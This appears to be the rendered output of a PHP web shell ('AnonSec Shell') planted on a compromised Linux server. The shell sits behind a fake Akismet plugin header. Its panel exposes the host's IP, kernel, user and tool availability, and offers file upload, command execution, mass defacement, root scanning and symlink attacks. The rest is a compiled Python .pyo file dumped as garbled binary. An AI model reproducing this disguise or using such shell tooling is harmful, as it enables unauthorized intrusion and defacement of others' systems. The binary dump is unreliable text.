#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/rhsmlib/facts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyo
�
L��ec@`sddlmZmZmZddlZddlZddlZddlZejde	�Z
defd��YZdefd��YZ
defd	��YZd
efd��YZdefd
��YZdefd��YZdefd��YZdefd��YZdefd��YZdefd��YZdefd��YZd�Zd�Zd�Zd�Zd�Zd�Zd �Zd!efd"��YZd#efd$��YZ d%efd&��YZ!d'efd(��YZ"d)efd*��YZ#dS(+i(tprint_functiontdivisiontabsolute_importNs	rhsm-app.tDefaultCpuFieldscB`seZdZdZdZRS(s|Maps generic cpuinfo fields to the corresponding field from ProcessorModel.

    For, a cpu MODEL (a number or string that the cpu vendor assigns to that model of
    cpu, '45' for an intel Xeon for example)
    is in the 'model' field in /proc/cpuinfo, and the
    'model' in the sluggified field in X86_64ProcessorModel. For aarch64,
    the field 'cpu_part' is it's MODEL.
    t
model_nametmodel(t__name__t
__module__t__doc__t
MODEL_NAMEtMODEL(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyRpstX86_64FieldscB`seZdZdZRS(RR(RRR	R
(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR}st
Aarch64FieldscB`seZdZdZRS(tcpu_partR(RRR
R	(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR�stPpc64FieldscB`seZdZdZRS(Rtmachine(RRR
R	(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR�stCpuinfoModelcB`sPeZeZdd�Zed��Zed��Zed��Z	d�Z
RS(cC`s:||_g|_g|_i|_d|_d|_dS(N(tcpuinfo_datat
processorstothertcommontNonet_model_namet_model(tselfR((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyt__init__�s					cC`s
t|j�S(N(tlenR(R((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pytcount�scC`s6|jr|jS|jsdS|jj|jjd�S(N(RRRtgettfields_classR	(R((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR�s
		cC`s6|jr|jS|jsdS|jj|jjd�S(N(RRRRRR
(R((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR�s
		cC`s�g}|jd|j�|jd|j�|jd�x;t|jj��D]$}|jd||j|f�qQW|jd�x.|jD]#\}}|jd||f�q�W|jd�dj|�S(NsProcessor count: %ssmodel_name: %sts%s: %ss
(tappendRRtsortedRtkeysRtjoin(Rtlinestktv((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyt__str__�s
"

N(RRRRRRtpropertyRRRR&(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR�s

tAarch64ProcessorModelcB`seZdZRS(sPThe info corresponding to the info about each aarch64 processor entry in cpuinfo(RRR(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR(�stX86_64ProcessorModelcB`seZdZRS(sOThe info corresponding to the info about each X86_64 processor entry in cpuinfo(RRR(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR)�stPpc64ProcessorModelcB`seZdZed��ZRS(sNThe info corresponding to the info about each ppc64 processor entry in cpuinfocC`s9|�}|jtg|D]}t|�^q��|S(N(tupdatetdicttfact_sluggify_item(tclststanzatcpu_datatitem((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pytfrom_stanza�s	,(RRRtclassmethodR2(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR*�stX86_64CpuinfoModelcB`seZdZeZRS(s�The model for all the cpuinfo data for all processors on the machine.

    ie, all the data in /proc/cpuinfo field as opposed to X86_64ProcessModel which
    is the info for 1 processor.(RRRRR(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR4�stPpc64CpuinfoModelcB`seZeZRS((RRRR(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR5�stAarch64CpuinfoModelcB`seZeZRS((RRRR(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR6�scC`s(|j�j�jdd�jdd�S(s�Encodes an arbitrary string to something that can be used as a fact name.

    ie, 'model_name' instead of 'Model name'
    whitespace -> _
    lowercase
    utf8
    escape quotes

    In theory, any utf8 would work
    t t_t.(tlowertstriptreplace(tkey((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyt
fact_sluggify�scC`st|d�}||dfS(Nii(R>(t
item_tupletnewkey((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR-�scc`s5x.|j�D] }||�}|r
|Vq
q
WdS(N(t
splitlines(t
file_contentst
line_splittertlinetparts((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pytsplit_key_value_generatorscC`sC|jdd�}|dr?g|D]}|j�^q#}|SdS(Nt:ii(tsplitR;R(RDREtpart((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyRC	s

cC`s"x|D]}|j|�qW|S(N(tadd(tfields_accumtfieldstfield((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pytaccumulate_fieldss
c	C`s�tjt�}xj|D]b}xYg|D]}||j|�f^q&D]/\}}|dkrcqEn||j|�qEWqWtg|D]2}t||�dkr�|||j�f^q��}|S(Ni(	tcollectionstdefaultdicttsetRRRJR,Rtpop(	t
all_fieldsRtsmashedRMt	processorR$R%txtcommon_cpu_info((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pytfind_shared_key_value_pairss
5Ecc`szd}x_|D]W\}}||krH|r3|Vn||fg}q
n|r
|j||f�q
q
W|rv|VndS(s
Split the iterable kv_list into chunks by field.

    For a list with repeating stanzas in it, this will
    return a generate that will return each chunk.

    For something like /proc/cpuinfo, called with
    field 'processor', each stanza is a different cpu.
    N(RR(tkv_listRMtcurrent_stanzaR=tvalue((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pytsplit_kv_list_by_field*s	tBaseCpuInfocB`seZed��ZRS(cC`s|�}|j|�|S(s�Return a BaseCpuInfo subclass based on proc_cpuinfo_string.

        proc_cpuinfo_string is the string resulting from reading
        the entire contents of /proc/cpuinfo.(t_parse(R.tproc_cpuinfo_stringtcpu_info((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pytfrom_proc_cpuinfo_stringZs	
(RRR3Ra(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR]YstAarch64CpuInfocB`s>eZd�Zd�Zd�Zd�Zd�Zd�ZRS(cC`st�|_dS(N(R6R`(R((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyRgsc`s�t|t�}�fd�|D�}g|D]}t|�^q,}�j|��j_�j|��j_�j|��j_	dS(Nc3`s|]}�j|�VqdS(N(t _capital_processor_to_model_name(t.0R1(R(s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pys	<genexpr>os(
RFRCR-tgather_cpu_info_modelR`Rtgather_processor_listRtgather_cpu_info_otherR(RRtraw_kv_itertkv_iterR1tslugged_kv_list((Rs;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR^js
cC`s!|ddkrd|d<n|S(s�Use the uppercase Processor field value as the model name.

        For aarch64, the 'Processor' field is the closest to model name,
        so we sub it in now.it	ProcessorR((RR1((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyRc{s
cC`sYg}xL|D]D\}}|dkr+q
n|j|�}||d<|j|�q
W|S(NRU(ReR(RRYtprocessor_listR$R%tcpu_info_model((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyRf�s
cC`sCg}x6|D].\}}|dkr
|j||g�q
q
W|S(Nthardware(R(RRYt
other_listR$R%((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyRg�s
cC`sLt�}x<|D]4\}}|dks|dkr:qn|||<qW|S(NRURn(R((RRYR0R$R%((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyRe�s	(RRRR^RcRfRgRe(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyRbfs						t
X86_64CpuInfocB`s#eZd�Zd�Zd�ZRS(cC`st�|_dS(N(R4R`(R((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR�scC`s�t|t�}g}t�}xNt|d�D]=}|j|�}|j|�t|t|j���}q.Wt	||�|j
_||j
_||j
_
dS(NRU(RFRCRQR\t"processor_stanza_to_processor_dataRRNtlistR!RXR`RRR(RRRiRRStprocessor_stanzat	proc_dict((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR^�s	
cC`s9t�}|jtg|D]}t|�^q��|S(s<Take a list of k,v tuples, sluggify name, and add to a dict.(R)R+R,R-(RR/R0R1((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyRq�s	,(RRRR^Rq(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyRp�s		tPpc64CpuInfocB`s#eZd�Zd�Zd�ZRS(cC`st�|_dS(N(R5R`(R((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR�scC`s�t|t�}tj|j|�}x9t|d�D](}tj|�}|jj	j
|�q4Wtg|D]}t|�^qj�|j_
||j_dS(NRU(RFRCt	itertoolst	takewhilet_not_timebase_keyR\R*R2R`RRR,R-RR(RRRitprocessor_iterRsRtR1((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR^�s+cC`s|ddkS(Nittimebase((RR1((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyRx�s(RRRR^Rx(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyRu�s		
tSystemCpuInfoFactorycB`sTeZied6ed6ed6ed6ZdZedd��Z	edd��Z
RS(tx86_64taarch64tppc64tppc64les
/proc/cpuinfocC`sA|tjkrt�n|j|�}|j|}|j|�S(N(R{tuname_to_cpuinfotNotImplementedErrortopen_proc_cpuinfoRa(R.t
uname_machinetprefixR_t
arch_class((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pytfrom_uname_machine�s
	
cC`s\|j}|r.tjj||jd�}nd}t|d��}|j�}WdQX|S(NiRtr(tproc_cpuinfo_pathtostpathR"topentread(R.R�R�tproc_cpuinfo_buftproc_cpuinfo_f((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR��s	N(RRRpRbRuR�R�R3RR�R�(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyR{�s


($t
__future__RRRRORvtloggingR�t	getLoggerRtlogtobjectRRRRRR,R(R)R*R4R5R6R>R-RFRCRNRXR\R]RbRpRuR{(((s;/usr/lib64/python2.7/site-packages/rhsmlib/facts/cpuinfo.pyt<module>s8P
>					
			/
<

Anon7 - 2022
AnonSec Team